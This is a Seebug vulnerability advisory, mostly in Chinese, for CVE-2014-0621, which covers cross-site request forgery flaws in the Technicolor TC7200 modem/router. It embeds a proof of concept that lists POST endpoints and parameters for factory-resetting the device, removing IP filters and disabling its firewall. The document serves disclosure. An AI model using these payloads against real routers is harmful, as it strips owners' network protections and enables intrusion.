Technicolor TC7200多个跨站请求伪造漏洞

2014-01-0700:00:00

Root

www.seebug.org

0.003 Low

EPSS

Percentile

70.3%

JSON

CVE(CAN) ID: CVE-2014-0621

Technicolor TC7200是调制解调器和路由器产品。

Technicolor TC7200在实现上存在多个跨站请求伪造漏洞，成功利用后可更改IP过滤选项、防火墙设置等。
0
technicolor TC7200 STD6.01.12
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.technicolor.com/en/solutions-services/connected-home/modems-gatew ays/cable-modems-gatewa


                                                # Exploit Title: Technicolor TC7200 - Multiple CSRF Vulnerabilities
# Google Dork: N/A
# Date: 02-01-2013
# Exploit Author: Jeroen - IT Nerdbox
# Vendor Homepage:
http://www.technicolor.com/en/solutions-services/connected-home/modems-gatew
ays/cable-modems-gateways/tc7200-tc7300
# Software Link: N/A
# Version: STD6.01.12
# Tested on: N/A
# CVE : CVE-2014-0621
#
# Proof of Concept:
# 
# 
## Payload for Factory Reset:
#  
# POST     : http://&lt;ip&gt;/goform/system/factory
# Parameter: None
# 
## Payload to disable the advanced options:
# 
# POST     : http://&lt;ip&gt;/goform/advanced/options 
# Parameter: None
# 
## Payload to remove ip-filters:
# 
# POST     : http://&lt;ip&gt;//goform/advanced/ip-filters
# Parameter: IpFilterAddressDelete1 = 1
# 
## Payload to remove firewall settings 
#  
# POST     : http://&lt;ip&gt;/goform/advanced/firewall
# Parameter: cbFirewall = 1
# 
# Check out the video at: http://www.nerdbox.it/technicolor-tc7200-multiple-csrf-vulnerabilities/

0.003 Low

EPSS

Percentile

70.3%

JSON

Related for SSV:61291